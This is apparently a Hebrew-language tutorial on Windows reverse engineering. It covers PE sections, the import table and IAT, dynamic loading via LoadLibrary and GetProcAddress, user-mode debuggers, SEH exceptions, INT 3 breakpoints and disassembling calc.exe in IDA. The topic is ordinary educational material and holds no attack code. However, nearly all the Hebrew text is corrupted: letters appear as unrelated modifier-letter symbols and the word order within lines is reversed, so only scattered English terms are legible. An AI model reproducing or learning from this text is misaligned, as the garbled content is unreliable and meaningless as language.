˪ ˯˥˧˧˸ˬ ˢ˪˟˦˟ ˵˪˥ ˪˩ .(˪˥˸ˣ˞ˬ-Section ˫˧ˮ˧˧˲˞ˬ ˶˲˯ˬ ˪˪ˣ˩ˣ ˢˮˣ˷  ˢ˷˧ˠˢ ˸ˣ˷˞˶ˢ ˣˬ˩ ,ˣ˧˪˰

ˢ ˸ˬ˧˷˶ ˢˮˢ .ˣ˧˪˞-Section-:˫˧˧˶˵˧˰ˢ ˫˧ 

.text -  ˪˷ ˢˮˠˢ ˪˰˟ ˪˪˩ ˨˶ˡ˟ .˸˧ˮ˩˸ˢ ˪˷ ˣˬ˴˰ ˡˣ˵ˢRead-Execute ˭ˬˤ˟ ˡˣ˵ ˟ˣ˸˩˪ ˭˸˧ˮ ˞˪ ˶ˬˣ˪˩ .

.˨˩ ˫˸˯ ˣ˸ˣ˞ ˳˧˶ˢ˪ˣ ˢˤˢ ˶ˣˤ˞ˢ ˪˰ ˢ˴˧˶ 

.data -  ˪˷ ˫˧˩˶˰ˢ ˫˧˰˧ˠˬ ˢˤˢ ˶ˣˤ˞˪ .˸˧ˮ˩˸ˢ ˸˪˧˥˸˟ ˶˟˩ ˫˧ˬ˧ˣ˯ˬ ˫˧˩˶˰˪ ˪˥˸ˣ˞ˬ˷ ˧˪˟ˣ˪ˠ ˰ˡ˧ˬ

˟ ˫˧˧˪˟ˣ˪ˠˢ ˫˧ˮ˸˷ˬˢ-C\C++ .ˣ˸ˣ˞ ˳˧˶ˢ˪ ˶˷˲˞ ˧˞ ˪˪˩ ˨˶ˡ˟ ˪˟˞ ,ˢˤˢ ˶ˣˤ˞˪ ˟ˣ˸˩˪ˣ ˞ˣ˶˵˪ ˭˸˧ˮ . 

.rdata -  ˶˞˷ˢ ˭˧˟ ˫˧ˮ˯˥ˣ˞ˬ ˪˪˩ ˨˶ˡ˟ ˢˤˢ ˶ˣˤ˞˟ .ˡ˟˪˟ ˢ˞˧˶˵˪ ˰ˡ˧ˬString-˩ˮ˷ ˫˧˪˧ˠ˶ ˫˧ ˫˧˟˸

 ˡˣ˵˟ ˫˧˧˷˶ˠ ˨ˣ˸˟C - String literals ˢ˶˧ˡˠˬ˷ ˞ˣ˟˧˧ˢ ˸˪˟˦ ˸ˮ˯˥ˣ˞ˬ ˫˧ˬ˰˲˪ ˢˤˢ ˶ˣˤ˞˟ ,˱˯ˣˮ˟ .

) ˸ˣ˧ˬ˞ˮ˧ˡ ˸ˣ˧˶˲˯ ˣ˪˧˞DLLs.˸˷ˬ˸˷ˬ ˸˧ˮ˩˸ˢ ˭ˢ˪˷ ˸ˣ˧˴˵ˮˣ˲ ˣ˪˧˞˟ˣ ˭ˣ˶˩˧ˤ˪ ˞˟˧˧˪ ˷˧ ( 

.bss -  ˫˧ˮ˸˷ˬ˪ ˧ˡˣ˰˧ ˶ˣˤ˞˟ ˷ˣˬ˧˷ ˪˷ ˧˶˵˧˰ˢ ˭ˣ˶˸˧ˢ .˪˥˸ˣ˞ˬ ˞˪ ˰ˡ˧ˬ ˭˯˥ˣ˞ˬ ˣ˟˷ ˧˪ˮˣ˧˴˲ˣ˞ ˶ˣˤ˞

 ˪ˡˣˠ ˭˧˧˴˪ ˷˧ ,˫˧˯˲˞ ˣ˪ˣ˩˷ ˪ˣˡˠ ˶ˣˤ˞ ˵˧˸˰ˢ˪ ˫ˣ˵ˬ˟ :˸ˣ˶˧ˢˬ˟ ˶ˣ˲˧˷ˣ ˭ˣ˶˩ˤ˟ ˭ˣ˩˯˥ ˞ˣˢ ˫˧˪˥˸ˣ˞ˬ ˞˪

.ˡ˟˪˟ 

.rsrc - ˡˣ˰ˣ ˫˧ˮˣ˷ ˫˧˦˧˶˲˸ ˪˰ ˰ˡ˧ˬ ,˫˧ˮˣ˵˧˧˞ ,˸ˣˮˣˬ˸ ˣˬ˩ ˫˧ˮˣ˷ ˫˧˟˞˷ˬ )Resources ˣˬ˩ ˸ˣˮ˩ˣ˸ .(

Resource Hacker .ˢ˶ˣ˶˟ˣ ˢ˥ˣˮ ˡˣ˞ˬ ˢ˶ˣ˴˟ ˢˤˢ ˵˪˥ˢ ˸˞ ˠ˧˴ˢ˪ ˸ˣ˶˷˲˞ˬ 

.reloc - Section  ˵˪˥ˢ .˸ˣ˰ˣ˟˵ ˸ˣ˟ˣ˸˩˪ ˸ˣ˯˥˧˧˸ˢ ˷˧ ˫ˢ˟˷ ˸ˣˬˣ˵ˬ˪ ˸ˣ˧ˮ˲ˢ ˫˧ˮ˯˥ˣ˞ˬ ˣ˟˷ ˡ˥ˣ˧ˬ

 ˨ˣ˸˟ ˣ˪˷ ˱ˡ˰ˣˬˢ ˫ˣ˵ˬ˪ ˢ˴˶ˢˢ ˳˟ˣ˵ ˸˞ ˸ˮ˰ˣ˦ ˡ˧ˬ˸ ˞˪ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˧˩ ˧ˮˣ˧˥ ˢˤˢ ˟˥˶ˬ

 ˫˧ˮ˸˷ˬ˪ ˸ˣ˧ˮ˲ˢ ,ˢˬˠˣˡ˪) ˣ˟ ˸ˣ˟ˣ˸˩˷ ˸ˣ˧˦ˣ˪ˣ˯˟˞ˢ ˸ˣ˟ˣ˸˩ˢ ˪˩ ,ˢ˪˞˩ ˫˧˶˵ˬ˟ .˧˪˞ˣ˦˶˧ˣˢ ˭ˣ˶˩˧ˤˢ

ˢ ˭˩˪ .˸ˣˮˣ˩ˮ ˣ˧ˢ˧ ˞˪ (˫˧˧˪˟ˣ˪ˠ-Windows Loader  ˸˲ˡ˰ˣˬˢ ˢˮ˧˰˦ˢ ˸˟ˣ˸˩ ˭˧˟ ˷˶˲ˢˢ ˸˞ ˟˷˥˪ ˨˧˶˴

ˢ ˸˪˟˦ ˪˰ ˪˩˸˯ˬ ˞ˣˢ ˭˩ˬ ˶˥˞˪ .˸˧˸˧ˬ˞ˢ ˸˟ˣ˸˩ˢˣ-Relocation ˸˞ ˭˵˸ˬ ˢ˧˲˪ˣ  ˸ˣ˟ˣ˸˩ˢ

 ˫˷˟ ˰ˣˡ˧ ˫ˠ ˢˤ ˨˧˪ˢ˸ .˸ˣ˧˸˧˧˰˟ˢRelocation. 

ˢ ˫˧˟˸˩ˮ ˱ˣ˯˟˪-Section- ˧˲˩ ˫ˢ˪˷ ˫˧˞˸ˬˢ ˪ˡˣˠ˟ˣ ˸ˣˬˣ˵ˬ˟ ,(˪ˣˠ˯˟) ˫˩ˣ˸˟˷ ˰ˡ˧ˬˢ ˫˰ ˫ˬ˴˰ ˫˧

˟ ˣ˶ˡˠˣˢ˷-Header. 
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-sImport Table ˸˧ˬ˞ˮ˧ˡ ˢˮ˧˰˦ˣ 

 ˞ˣ˶˵˪ ˫˧˩˧˶˴ ˫ˢ (˭ˣ˪˥ ˸˶˧˴˧ ,˪˷ˬ˪) ˞˧ˢ˷˪˩ ˸˧ˮˣ˴˧˥ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲˟ ˷ˬ˸˷ˢ˪ ˫˧˴ˣ˶ ˫˧˥˸˲ˬ˷˩

 ˪˷ ˢ˶˵ˬ˟ .˸ˣˬ˧ˣ˯ˬ ˢ˧˶˲˯ ˧ˡ˧ ˪˰ ˸ˣ˵˲ˣ˯ˬ˷ ˸ˣˬ˧ˣ˯ˬ ˸ˣ˧˴˵ˮˣ˲˪Windows API ˸ˣ˧˴˵ˮˣ˲ ˪˷ ˷ˣˬ˧ˬˢ ,

 ˧˴˟˵ ˨ˣ˸˟ ˶ˣˬ˷ ˣ˪˞˩DLL ˭ˣˠ˩ ˫˧˧˯˧˯˟ user32.dll ˣ˞kernel32.dll ˪˩ .DLL ˴˧˧ˬ" ˢˤ˩ ˞ˣˢ˷ ˸ˣ˧˴˵ˮˣ˲ "˞

 ˣ˪˞ˢ ˸ˣ˧˴˵ˮˣ˲ˢˬ ˸˥˞˟ ˷ˬ˸˷ˢ˪ ˢ˴ˣ˶˷ ˸˧ˮ˩˸ ˪˩ˣ ˫ˢ˟ ˷ˬ˸˷ˢ˪ ˣ˸ˣ˞ ˸ˣ˞˟˧˧ˬ˷ ˸ˣ˧ˮ˩˸˪ ˢ˷˶ˬ

ˢ ˳˟ˣ˵˟ ˡ˥ˣ˧ˬ ˶ˣˤ˞˟ ˢ˟ˣ˸˩ ˸ˣ˞˴ˣ˧ˬˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˸ˬ˧˷˶ .˫˸ˣ˞ "˸˞˟˧˧ˬ"-PE  ˫˷˟Export Table .

.ˣ˪˞ˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˷ ˸ˣ˧˯˥˧ˢ ˸ˣ˟ˣ˸˩ˢ ˫ˠ ˫˧˟ˣ˸˩ ˶ˣˤ˞ ˣ˸ˣ˞˟ 

˪ ˢ˴ˣ˶ ˸˧ˮ˩˸˷˩˟ ˷ˬ˸˷ˢ-DLL  ˫˷˟ ˡ˥ˣ˧ˬ ˶ˣˤ˞˟ ˸˟˸ˣ˩ ˞˧ˢ ,˞ˣˢ˷˪˩Import Table  ˪˷ ˢˬ˧˷˶

ˢ ˧˴˟˵ ˸ˣˬ˷-DLL  ˸˥˞˪ ˢ˞˧˶˵ ˷˧˷ ˫˰˲ ˪˩ .˸ˣ˧˦ˮˣˣ˪˶ˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˸ˣˬ˷ ˸˞ˣ ˢ˩˧˶˴ ˞˧ˢ˷

˸˸˟ ˢˬˣ˷˶˷ ˸˟ˣ˸˩˪ ˢ˞˧˶˵ ˸˰˴˟ˬ˷ ˢ˞˶ˣˢ ˯˧ˮ˩ˬ ˶˪˧˧˲ˬˣ˵ˢ ,ˣ˪˞ˢ ˸ˣ˧˴˵ˮˣ˲ˢˬ- ˞˶˵ˮˢ ˶ˣˤ˞

Import Address Table )IAT.(  ˸ˣˮˣ˩ˮ ˣ˧ˢ˧ ˞˪ ˪˪˩ ˨˶ˡ˟ ˫˷ ˸ˣˬˣ˷˶˷ ˸ˣ˟ˣ˸˩ˢ ,ˢ˴˶ ˸˧ˮ˩˸ˢ˷ ˧ˮ˲˪

ˢ ˢ˲˧˞ ˰ˣˡ˧ ˞˪ ˭˧˧ˡ˰˷ ˭ˣˣ˧˩ˬ-DLL- ˞˶˵ˮˢ ˨˧˪ˢ˸˟ ,˭˩ˬ ˶˥˞˪ ,˪˟˞ .˭ˣ˶˩ˤ˟ ˣˬ˵ˣˬ˧ ˫˧Dynamic Linking 

-sLoader  ˫˸ˣ˞ ˸˞ ˨˧˪ˢ˸ ˣ˸ˣ˞ ˪˷ ˭ˣ˶˩ˤˢ ˟˥˶ˬ˪ ˭ˣ˰˦˪ ˠ˞ˣˡDLL- ˪˷ ˸ˣ˟ˣ˸˩ˢ˷ ˶˥˞˪ˣ ,˫˧

 ˸ˣ˶˶˟˸ˬ ˸ˣ˧˴˵ˮˣ˲ˢ˟ ˫˧ˬ˧˞˸ˬˢ ˸ˣˬˣ˵ˬ˟ ˸ˣ˟˸˩ˮ ˫ˢ-IAT. 

 ˧˴˟˵ ˪˷ ˭˩ˣ˸ˢ ˸˞ ˫˧˞˶ˬ˷ ˫˧˦ˣ˷˲ ˫˧˪˩ ˸˶ˤ˰˟PE  ˭ˣˠ˩) ˢ˥ˣˮ ˢ˶ˣ˴˟PEView ˸˞ ˸ˣ˞˶˪ ˶˷˲˞ (

ˢ ˪˷ ˭˩ˣ˸ˢ-Import Table  ˢˬ ˵˧˯ˢ˪ˣ ˸˷ˬ˸˷ˬ ˸˧ˮ˩˸ˢ ˯ˣˡˮ˧ˣˣ ˪˷ ˸ˣ˧˴˵ˮˣ˲ ˣ˪˧˞˟ ˸ˣ˪˵˟ ˸ˣ˞˶˪ ˨˩ˣ

.˸ˣ˷˰˪ ˢ˪ˣ˩˧ ˞˧ˢ 

 

] ˸˧ˮ˩˸ˢ˷ ˸ˣ˞˶˪ ˶˷˲˞ ˢˬˠˣˡ˟˟ ˸˷ˬ˸˷ˬ-PlaySoundW x-SetTimer[ 
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 ˭ˣ˰˦˪ ˫ˠ ˭˸˧ˮ ˪˟˞DLL  ˢ˴˧˶ ˭ˬˤ˟- Dynamic Loading ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ ˧ˡ˧ ˪˰ ˰˴˟˸ˬ ˢˤ .LoadLibrary 

˪ ˭˩ˬ ˶˥˞˪ˣ ˢ˧˶˲˯ˢ ˫˷ ˱ˣ˶˧˴˟-GetProcAddress  .˸ˬ˧ˣ˯ˬ ˢ˧˴˵ˮˣ˲ ˪˷ ˫˷ ˱ˣ˶˧˴˟GetProcAddress 

˥ˬˣ ˸˧˦ˮˣˣ˪˶ˢ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˸˶˶˟ˬ .ˢ˸ˣ˞ ˢ˶˧ˤ ˨ˣ˯˥˪ ˶˷˲˞ ˣˤ˩ ˢ˶ˣ˴˟

.˨˧˶˴˷˩ ˵˶ ˸ˣ˧˶˲˯ ˭ˣ˰˦˪ˣ ˭ˣ˶˩ˤˣ ˭ˬˤ ˢ˟˶ˢ 

ˢ˷ ˫ˠ ˭˧˧˴˪ ˷˧-Loader  ˸˞ ˨˧˪ˢ˸ ˪˩˪ ˧˦ˬˣ˦ˣ˞ ˭˲ˣ˞˟ ˭˰ˣ˦kernel32.dll  ˞ˣˢ ˫˞ ˣ˪˧˲˞

˟ ˭˧ˣ˴ˬ ˞˪- Import Table .ˣ˪˷kernel32.dll  ˸˩˶˰ˬ ˪˷ ˸ˣ˧˯˧˯˟ ˸ˣ˧˴˵ˮˣ˲ ˢ˟˶ˢ ˪˪ˣ˩

ˣˬ˩ ˢ˪˰˲ˢˢ  CreateThread  ˣ˞ReadFile˟ ˸ˣ˧˴˵ˮˣ˲ˢˬ ˵˪˥ .-kernel32.dll  ˸ˣ˞˶ˣ˵

˟ ˸ˣ˶˥˞ ˸ˣ˧˴˵ˮˣ˲˪-ntdll.dll ˪ ˢ˴˲˵ˬ˩ ˫˧ˬ˰˲ ˢ˟˶ˢ˟ ˸ˣ˷ˬ˷ˬ˷-Kernel Mode 

 ,˸ˡ˥ˣ˧ˬ ˢ˞˶ˣˢ ˸ˣ˰˴ˬ˞˟)sysenter .( 

ˢ˷ ˧˶˥˞-Loader  ˟˥˶ˬ˪ ˪˩ˢ ˭˰ˣ˦ˣ ˳˟ˣ˵ˢ ˪˷ ˢ˴˶ˢˢ ˸˞˶˵˪ ˸ˣˮ˩ˢˢ ˸˞ ˫˧˧˯ˬ

ˢ ˸˞ ˶ˣ˴˧˪ ˵˶ ˶˞˷ˮ ,˭ˣ˶˩˧ˤˢ-Stack sx-Heap .ˡˣ˵ ˳˧˶ˢ˪ ˪˧˥˸ˢ˪ ˶˷˲˞ˣ 

 ˫˧˷˶˸ˢ ˣˬ˩ ˨˶˰˟ ˢ˞˶ˮ ˧˯ˣ˲˧˦ ˨˧˪ˢ˸ ˪˷ ˭ˣ˶˩ˤˢ ˟˥˶ˬ ˢˮ˧˰˦ˢ ˨˧˪ˢ˸ ˪˷ ˣ˲ˣ˯˟

.˪˞ˬ˷ˬ 

 ˪˰Mode Debuggers-User ˯ˣˡˮ˧ˣˣ˟ 

 ˰ˣ˴˧˟ˬ ˳ˣ˥Disassembly  ˞ˣˢ ˶˷˞˩ ˣ˸ˣ˞ ˳˧˶ˢ˪ ˫ˠ ˭˟ˣˬ˩ ˭˸˧ˮ ,ˡˣ˵ ˪˷ ˧˦˦˯ ˥ˣ˸˧ˮˣ

 ˧ˡ˧ ˪˰ ˦˪˷ˮDebugger  ˭ˬˤ˟ ˪˰ˣ˲ ˡˣ˵ˢ ˨˧˞ ˸ˣ˞˶˪ ˣ˟ ˷ˬ˸˷ˬ˷ ˧ˬ˪ ˶˷˲˞ˬ ˫˴˰˟˷

 .ˢ˴˧˶Debuggers  ˫˧˶ˣˤ˞ ˪˷ ˭˩ˣ˸ ˸ˣˮ˷˪ˣ ˞ˣ˶˵˪ ,ˢˡˣ˵ˮ ˪˩˟ ˡˣ˵ˢ ˸˴˶ˢ ˸˞ ˶ˣ˴˰˪ ˸˪ˣ˩˧ˢ ˸˞ ˫˧˪˪ˣ˩

.ˢˬˣˡ˩ˣ ˭ˣ˶˩ˤ˟ 

Debuggers  ˪˥˸˞˪ ˫˧˪ˣ˩˧) ˳ˣ˶˪ ˪˧˥˸ˢ ˶˟˩ ˞ˣˢ˷ ˧˶˥˞ ˣ˧˪˞ ˶˟˥˸ˢ˪ ˣ˞ ˫ˬ˴˰˟ ˨˧˪ˢ˸Attach (

ˢ ˸ˣ˰˴ˬ˞˟-API  ,˫˧˷˥˶˸ˬ ˫˧˟ˣ˷˥ ˫˧˰ˣ˶˧˞˷˩ .˵˧˲˯ˬ ˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ ˫ˢ˪ ˷˧ ˡˣ˰ ˪˩ ˯ˣˡˮ˧ˣˣ ˪˷

˷˩ ˢˬˠˣˡ˪-DLL  ˵˶ˤˮ˷˩ ˣ˞ ˫˧ˮ˰˦ˮ ˫˧˷ˡ˥Exceptionˢ ˸˞ ˰ˡ˧˧ˬ ˯ˣˡˮ˧ˣˣ ,-Debugger  ˸ˣ˰˴ˬ˞˟ ˨˩ ˪˰

ˢ :˫˧˰ˣ˶˧˞ ˭ˣˠˮˬ-Debugger  ˸˴˵ ˢˬˣˡ) ˫ˢ˟ ˸˪˲˦ˬˣ ˫˧˰ˣ˶˧˞ ˪˰ ˰ˡ˧ˬ ˸˪˟˵ˬ˷ ˸˧˲ˣ˯ˮ˧˞ ˢ˞˪ˣ˪ ˳˧˶ˬ

ˢ ˭ˣˮˠˮˬ˪-Messages  .(˸ˣˮˣ˪˥ ˪˷Debugger- ˸˷ˠ˪ ˫ˢ˪ ˸ˣ˶˷˲˞ˬ˷ ˸ˣˡ˥ˣ˧ˬ ˸ˣ˷˞˶ˢ ˫˧˪˟˵ˬ ˫ˠ ˫˧

.˫˧ˠ˟ˡˬ ˫ˢ ˣ˸ˣ˞˷ ˨˧˪ˢ˸ˢ ˪˷ ˭ˣ˶˩ˤ˪ 

Exception ˣˡ˷ ˸˧ˮ˩ˣ˸ ˪˷ ˢ˴˧˶ ˭ˬˤ˟ ˢ˶ˣ˵˷ ˧ˣ˲˴ ˞˪ ˰ˣ˶˧˞ ˞ˣˢ (ˢˠ˧˶˥) ˧ˮ˷ ˷˧ .˸ˡ˥ˣ˧ˬ ˸ˣ˯˥˧˧˸ˢ ˷˶

 ˡ˟˰ˬˢ ˧ˡ˧ ˪˰ ˸ˣ˶˴ˣˮ˷ ˸ˣˠ˧˶˥ ˫ˢ ˢ˶ˬˣ˥ ˸ˣˠ˧˶˥ .ˢˮ˩ˣ˸ ˸ˣˠ˧˶˥ˣ ˢ˶ˬˣ˥ ˸ˣˠ˧˶˥ :˸ˣˠ˧˶˥ ˪˷ ˫˧ˠˣ˯

 ˢˮ˩ˣ˸ ˸ˣˠ˧˶˥ .˸ˬ˧˧˵ ˞˪˷ ˸˟ˣ˸˩˪ ˢ˷˧ˠ ˣ˞ ,˪˷ˬ˪ ,˯˲˞˟ ˢ˵ˣ˪˥ˬ ˶˴ˣˣ˧ˢ˪ ˸ˣ˪ˣ˩˧ ˢ˪˞˩ ˸ˣˠ˧˶˥ .ˣˬ˴˰

ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˧ˡ˧ ˪˰ ˭ˣˣ˩ˬ ˭˲ˣ˞˟ ˸ˣ˶˴ˣˮ˷ ˸ˣˠ˧˶˥ ˫ˢ ˷ ˢˬ ˢˤ) ˢˮ˩ˣ˸ˢ ˣ˞-throw  ˢ˷ˣ˰-˟C/C++ ,

.(˪˷ˬ˪ Structured Exception Handling )SHEˢ ˧ˠˣ˯ ˧ˮ˷˟ ˪˲˦ˬ˷ ˯ˣˡˮ˧ˣˣ ˪˷ ˭ˣˮˠˮˬˢ ˞ˣˢ (-Exception 

 ˶˷˞˩ˣ ˣ˪˞ˢDebugger  ˸ˠ˧˶˥˷ ˫˰˲ ˪˩˟ ˢ˞˶˸ˢ ˪˟˵ˬ ˞ˣˢ ,˞ˣˢ˷˪˩ ˨˧˪ˢ˸˪ ˶˟ˣ˥ˬSHE  ˸˷˥˶˸ˬ- 

 ˢ˞˪ˢ ˢ˸ˣ˞ ˶˧˟˰ˢ˪ ˤ˞ˣ ˣˬ˴˰˟ ˢ˟ ˪˲˦˪ ˪ˣ˩˧ ˶ˠ˞˟˧ˡˢ .ˢ˟ ˪˲˦˪ ˧ˣ˩˧˯ ˷˧ ˸ˠ˟ˣˡˬˢ˷ ˢˮ˩ˣ˸˪˷ ˧ˮ˲˪

] ˨˧˪ˢ˸ ˪˷ ˧˪˞ˣ˦˶˧ˣˢ ˭ˣ˶˩˧ˤˢ ˟˥˶ˬ

˧˯ˣ˲˧˦[ 
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 ˸ˣˮˬˡˤˢ ˷˧ ˶ˠ˞˟˧ˡ˪ ,˸ˣˠ˧˶˥ ˪˷ ˢˤ˩ ˠˣ˯˟ ˪˲˦ˬ˷ ˡˣ˵ ˸˪˪ˣ˩ ˞˪ ˢˮ˩ˣ˸ˢ ˫˞ .ˢ˸ˣ˞ ˵ˣ˶ˤ˪ ˣ˞ ˢˮ˩ˣ˸˪

.˭˩ˬ ˶˥˞˪ ˳ˣ˶˪ ˢ˵˧˯˲ˬ ˸˧ˮ˩˸ˢ ˡ˥ˣ˧ˬ ˣˢ˷ˬ ˢ˶ˣ˵ ˞˪ ˫˞ .ˢ˟ ˪˲˦˪ ˢ˧˧ˮ˷ 

 ˪˷ ˞˷ˣˮˢException x-Interrupts ˷ ˭ˣˣ˧˩ˬ ˟ˣ˷˥ ˞ˣˢ-Debuggers  ˪˰ ˦ˣ˪˷˪ ˧ˡ˩ ˷ˣˬ˧˷ ˣ˟ ˫˧˷ˣ˰

 ˫˧ˡ˟ˣ˰ ˢ˟˷ ˨˶ˡˢ ˞˧ˢ ˢ˟ˣ˷˥ ˧˩ˢ ˢˬˠˣˡˢ .˸˧ˮ˩˸ˢ ˪˷ ˢ˴˧˶ˢBreakpoints  ˪˩˟ :˶˸ˣ˧˟ ˳ˣ˲ˮˢ ˠˣ˯ˢˬ

 ˱˯ˣˮ˷ ˫˰˲Breakpoint ˢ ,˷ˡ˥-Debugger ˸˞˶ˣˢ˟ ˢ˸ˣ˞ ˱˧˪˥ˬˣ ˢˬ˧˞˸ˬˢ ˢ˞˶ˣˢˢ ˪˰ ˸ˣ˶˧˷˧ ˟˸ˣ˩ 

INT 3 ˪ ˸ˮ˸ˣˮˣ ˸˧ˮ˩˸ˢ ˸˞ ˸˶˴ˣ˰ ˫˴˰˟˷ ˢˠ˧˶˥˪ ˸ˬ˶ˣˠ˷-Debugger  ˫˧˶˩ˣˤ ˫˧˶ˠ˞˟˧ˡ .ˢ˦˧˪˷ˢ ˸˞

 ˳˧˶ˮ ˫˞ .˳ˣ˶˪ ˢ˩˧˶˴ ˢ˞˶ˣˢˢ˷˩ ˢ˸ˣ˞ ˫˧˶ˤ˥˷ˬˣ ˣ˯˶ˡ ˫ˢ˷ ˸˟ˣ˸˩˟ ˢ˸˧ˢ˷ ˸˧˶ˣ˵ˬˢ ˢ˞˶ˣˢˢ ˸˞

 ˸˰˴˟ˬ˷ ˢˮ˩ˣ˸INT 3  ˠˢˮ˸˧ ˶ˠ˞˟˧ˡˢ ,˶ˠ˞˟˧ˡ ˸˥˸ ˢ˸ˣ˞ ˳˧˶ˮ ˫˞ ˪˟˞ .˯ˣ˶˵˸ ˢ˞˶ˮ˩ ˞˧ˢ ,˨˩ ˫˸˯

˧˞˩.(ˢ˪˞˩ ˫˷ ˞ˣˢ ˢ˲˧˞ ˶˩ˣˤ ˞ˣˢ ˫˞ ˞˪˞) ˸ˣ˪˧ˠ˶ˢ ˢ˶˧˴˰ˢ ˸ˣˡˣ˵ˮˬ ˸˥˞ ˣˤ ˣ˪ 

 ˧ˡ˩ ˫ˢ˟ ˫˧˷ˬ˸˷ˬ ˫˧˶˵ˣ˥˷ ˫˧˵ˤ˥ˣ ˫˧˴ˣ˲ˮ ˧˩ˢ ˫˧˪˩ˢ ˡ˥˞ ˞ˣˢ ˢˤˢ ˠˣ˯ˢˬ ˧ˬ˞ˮ˧ˡ ˥ˣ˸˧ˮ ,ˢ˷˰ˬ˪

 ˸ˣ˪˧˟ˣˬ ˭ˢ ˭˞˪ ˟ˣ˷˥˪ˣ ˸ˣ˩ˣ˶˞ ˡˣ˵ ˸ˣ˶ˣ˷ ˧˶˥˞ ˟ˣ˵˰˪ ˫˧˟˧˧˥ ˞˪ ˣ˸ˣ˩ˤ˟ .˸ˡ˟ˣ˰ ˢˮ˩ˣ˸ ˨˧˞ ˭˧˟ˢ˪

 ˦˪˵ ˭˸ˮ˧ˢ˟ ˡˣ˞ˬ ˞ˣˢ ˫˧˶ˠ˞˟˧ˡ ˡˠˮ ˸ˣ˵˧ˮ˩˦ ˪˷ ˞˷ˣˮˢ ,˭˩˪ .ˢ˞˴ˣ˸˟ ˸ˣ˲˴˪ ˦ˣ˷˲ ˶˷˲˞ .˫˧ˣ˯ˬ

.˫˧ˡ˟ˣ˰ ˫ˢ ˨˧˞ ˸˰ˡ˪ ˟ˣ˦ˣ ˧˸ˣ˰ˬ˷ˬ 

˪ ˢˬˠˣˡ-Reversing ˦ˣ˷˲ 

 ˨˧˪ˢ˸ ˰˴˟˸ˬ ˨˧˞ ˸ˣ˞˶˪ ˪˧˥˸ˢ˪ ˪˩ˣˮ ,˰˵˶ ˸˴˵˟ ˣˮˡ˧˧˦˴ˢ˷ ˶˥˞˪Reversing  ˥˧ˮˮ .˸ˣ˞˧˴ˬ˟ ˧˯ˣ˲˧˦

 ˭ˣ˟˷˥ˬ˟ ˢ˶ˣ˵ ˢˬ ˭˧˟ˢ˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞˷ˢ˩˧˶˰ˢ ˶ˣ˸˲˩ ˪˰ ˫˧˴˥ˣ˪ ˣˮ˥ˮ˞˷˩ ˯ˣˡˮ˧ˣˣ ˪˷ ˢˮ˟ˣˬˢ- .˵˟ˡˢ<

 .ˣ˪ ˫˧ˮ˟ˣˬ˷ ˫˧˶˥˞ ˫˧˶˟ˡ ˣ˞ ˫˧˧˶˲˯ˬ ˫˧˩˶˰ ˵˶ ˵˧˟ˡˢ˪ ˣˮ˪ ˸˸˪ ˨˧˶˴ ˭ˣ˟˷˥ˬˢ ˫˸˯ˢ ˭ˬ 

 ˸˞ ˭˰˦ˮcalc.exe  ˶˪˟ˬ˯˞˯˧ˡˢ ˨ˣ˸˪IDA )The Interactive Disassembler .ˣ˸ˣ˞ ˶ˣ˵˥˪ ˪˧˥˸ˢ˪ ˧ˡ˩ (

IDA  ˢ˷˰ˬ˪ ˧˦ˬˣ˦ˣ˞ˢ ˥ˣ˸˧ˮˢ .˞˴ˣˬ ˞ˣˢ˷ ˧˷ˣˬ˧˷ ˰ˡ˧ˬ ˪˩ ˣˮ˪ ˵˲˯˧ˣ ˳˟ˣ˵ˢ ˪˷ ˧˦ˬˣ˦ˣ˞ ˥ˣ˸˧ˮ ˰˴˟˧

 ˡˣ˞ˬ ˧˷ˣˬ˧˷ ˞ˣˢ .ˡˣ˵ˢ ˪˷ ˸ˣˮˣ˷ˢ ˸ˣ˧ˣ˲˰˸˯ˢˢ ˧˲˪ ˫˷ˬ ˥˸˲˸ˬˣ ˢ˯˧ˮ˩ˢ ˸ˡˣ˵ˮˬ ˡˣ˵ ˵ˣ˶˯˪ ˪˧˥˸ˬ

ˮˣ˲˪ ˸ˣ˞˧˶˵ ,˫˧ˮ˸˷ˬ˟ ˷ˣˬ˧˷ ,(˭ˢ˧˪˞ ˢ˞˧˶˵ˢ ˧˲ ˪˰) ˸ˣ˧˴˵ˮˣ˲ ˸ˣˢˤ˪ ˪ˠˣ˯ˬ ˞ˣˢ˷ ˭ˣˣ˧˩ˬ ˯ˣˡˮ˧ˣˣ ˸ˣ˧˴˵

.˫˧˶˟ˡ ˢ˟˶ˢ ˡˣ˰ˣ 

IDA  ˶ˠ˞ˬ ˣˮ˧˪˟˷˟ ˸˶˴ˣ˧ ˫ˠString- ˵˪˥˷ ˢˡ˟ˣ˰ˢ ˪˷ˬ˪ ˣˬ˩ ˫˧ˬ˧ˣ˯ˬ ˫˧˵ˣ˥ ˧˲ ˪˰ ˢˢˤˬ ˞˧ˢ˷ ˫˧

˟ ˫˧ˬ˧˧˸˯ˬ ˫ˢˬ-Null Terminator )C-Strings.(  ˢ˯˧ˮ˩ˢ ˸ˡˣ˵ˮ ˪˞ ˥˵˪ˮ ˣˮ˥ˮ˞ ˫˧˧˸˯˧ ˥ˣ˸˧ˮˢ˷˩

)WinMainCRTStartup ˸˞ ˶˧˧˯˪ ˪˧˥˸ˢ˪ ˪˩ˣˮˣ (ˢˤˢ ˢ˶˵ˬ˟  .˫˷ˬ ˧˪˟ˬ˯˞ˢ ˡˣ˵ 
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ˡ˰˴ ˣ˧˶˥˞ ˟ˣ˵˰ˮˣ ˢ˯˧ˮ˩ˢ ˸ˡˣ˵ˮˬ ˡˣ˵ˢ ˸˞ ˳˧˶ˮ ˫˞- ˶˟ˡ ˪˷ ˣ˲ˣ˯˟˷ ˢ˪ˠˮ ,˶ˠ˞˟˧ˡ ˸ˣ˰˴ˬ˞˟ ˡ˰˴

 ˢ˧˴˵ˮˣ˲˪ ˫˧˰˧ˠˬ ˣˮ˥ˮ˞WinMain ˢ ˸˧˧˴˵ˮˣ˲ ˞˧ˢ˷-Main  ˢˡˣ˵ˮˢ .˭ˣ˟˷˥ˬˢ ˪˷ ˸˧˸˧ˬ˞ˢ

